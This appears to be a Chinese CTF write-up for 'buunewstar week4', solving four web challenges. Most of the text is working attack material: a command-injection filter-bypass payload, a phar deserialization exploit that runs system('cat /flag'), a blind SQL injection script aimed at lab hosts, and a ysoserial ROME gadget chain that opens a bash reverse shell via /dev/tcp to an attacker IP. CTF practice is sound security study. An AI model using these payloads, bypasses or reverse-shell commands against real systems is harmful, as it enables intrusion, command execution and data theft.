buunewstar week4

So Baby RCE
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

过滤了很多。主要是

  • 关键词绕过

    通配符,插入空字符绕过等等

  • ;绕过

    %0a或者&&绕过

  • /绕过

    ls / == cd 路径;ls

    返回上级目录 cd ..

  • 空格绕过

    ${IFS}等等

payload

?cmd=cd${IFS}..%0acd${IFS}..%0acd${IFS}..%0aca$1t${IFS}ffff$1llllaaaaggggg
BabySSTI_Two

unicode编码绕过,catch_warnings被过滤,换一个类比如os._wrap_close就好了。

UnserializeThree

考点:phar反序列化,#绕过

文件上传给出上传后文件路径

注释中提示class.php

<?php
highlight_file(__FILE__);
class Evil{
    public $cmd;
    public function __destruct()
    {
        if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
            //Same point ,can you bypass me again?
            eval("#".$this->cmd);
        }else{
            echo "No!";
        }
    }
}

file_exists($_GET['file']);

#绕过

  1. 闭合php标签
  2. \n
  3. \r

这里只能用\r。

payload

<?php
    class Evil{
        public $cmd;
        public function __construct()
        {
            $this->cmd = "\rsystem('cat /flag');";
        }
        public function __destruct()
        {
            if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
                //Same point ,can you bypass me again?
                eval("#".$this->cmd);
                echo "#".$this->cmd;
            }else{ 
                echo "No!".$this->cmd;
            }
        }
    }
    $phar = new Phar("test.phar");//生成的压缩文件名为test.phar
    $phar->startBuffering();
    //设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    //将自定义的meta-data存入manifest
    $a = new Evil();
    $phar->setMetadata($a);
    //添加要压缩的文件
    $phar->addFromString("test.txt", "test");
    //签名自动计算
    $phar->stopBuffering();
?>

将生成的phar改图片后缀名上传后,在class.php下用phar协议访问(只要是phar文件,后缀名是什么都可以解析)

/class.php?file=phar://file_path
又一个SQL

00和01,回显两种情况,猜测使用盲注。

payload

import requests
import time
from urllib import parse


#数字
#0^(ascii(substr((select(database())),{},1))>{})
#单引号
#0' or (ascii(substr((select(database())),{},1))>{}) or '0


url="http://afe4417f-e94a-484b-bd96-f8a0e17414a5.node4.buuoj.cn:81/comments.php"
url2="http://14a849d8-1ab5-4d00-a4d6-62d9671f66b0.node4.buuoj.cn:81/comments.php?name=c"


def SqlBlind():

    result=""

    for i in range(1,1000):
        left = 32
        right = 127
        mid=(left+right)//2

        while left < right:
#wfy_admin,wfy_comments,wfy_information
#where(user='f1ag_is_here')
            params={
                # 'name':"0^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{})".format(i,mid),
                # 'name':"c",
                # 'comment':"hack",
                # 'name':"0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid),
                # 'name':"0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_information')),{},1))>{})".format(i,mid),
                 'name':"0^(ord(substr((select(group_concat(text))from(wfy_comments)where(user='f1ag_is_here')),{},1))>{})".format(i,mid),
            }

            # 请求方式
            #r=requests.get(url=url,params=params)
            r=requests.post(url=url,data=params)
            #print(r.text)
            
            # 防止429
            if r.status_code == 429:
                time.sleep(0.5)
            
            #r=requests.get(url=url2)

            # 编码
            #r=str(r.json())
            
            

            # True的标志  0的个数
            if "好耶" in r.text:
            # if r.text.count('0')==i:
                left = mid+1
            else:
                right = mid

            mid=(left+right)//2

        if left <=32 or right >= 127:
            break

        result += chr(mid)

        print("[+]",result)
                

if __name__ == '__main__':
    SqlBlind()
Rome
@Controller
/*    */ public class SerController
/*    */ {
/*    */   @GetMapping({"/"})
/*    */   @ResponseBody
/*    */   public String helloCTF() {
/* 19 */     return "Do you like Jvav?";
/*    */   }
/*    */   @PostMapping({"/"})
/*    */   @ResponseBody
/*    */   public String helloCTF(@RequestParam String EXP) throws IOException, ClassNotFoundException {
/* 24 */     if (EXP.equals("")) {
/* 25 */       return "Do you know Rome Serializer?";
/*    */     }
/* 27 */     byte[] exp = Base64.getDecoder().decode(EXP);
/* 28 */     ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
/* 29 */     ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
/* 30 */     objectInputStream.readObject();
/* 31 */     return "Do You like Jvav?";
/*    */   }
/*    */ }

反序列化点

objectInputStream.readObject();

ROME反序列化分析

https://www.yulate.com/292.html

java版本要jdk8u-121照着文章本地复现了,但是用ysoserial写了反弹shell,题目的发送过去不可以

这周发现只要把payload拿去url编码后就可以了。

这里思考了得出的结果是

RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ]

不安全字符:还有一些字符,当他们直接放在URL中的时候,可能会引起解析程序的歧义。这些字符被视为不安全字符,原因有很多。

  • 空格:Url 在传输的过程,或者用户在排版的过程,或者文本处理程序在处理Url的过程,都有可能引入无关紧要的空格,或者将那些有意义的空格给去掉。
  • 引号以及<>:引号和尖括号通常用于在普通文本中起到分隔Url的作用
  • #:通常用于表示书签或者锚点
  • %:百分号本身用作对不安全字符进行编码时使用的特殊字符,因此本身需要编码
  • {}|^[]`~:某一些网关或者传输代理会篡改这些字符

而base64加密后可能会出现+,/,=

解题步骤

java -jar ysoserial.jar ROME "bash -c {echo,xxx}|{base64,-d}|{bash,-i}" > 1.txt

xxx为base64后的bash -i >& /dev/tcp/ip/2333 0>&1

这里> 1.txt是因为如果我加了|base64生成了之后会出现其他符号

在这里插入图片描述

用python或者cyberchef来base64加密

exp

EXP=对上面生成的base64再进行url编码

连接后flag在根目录

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值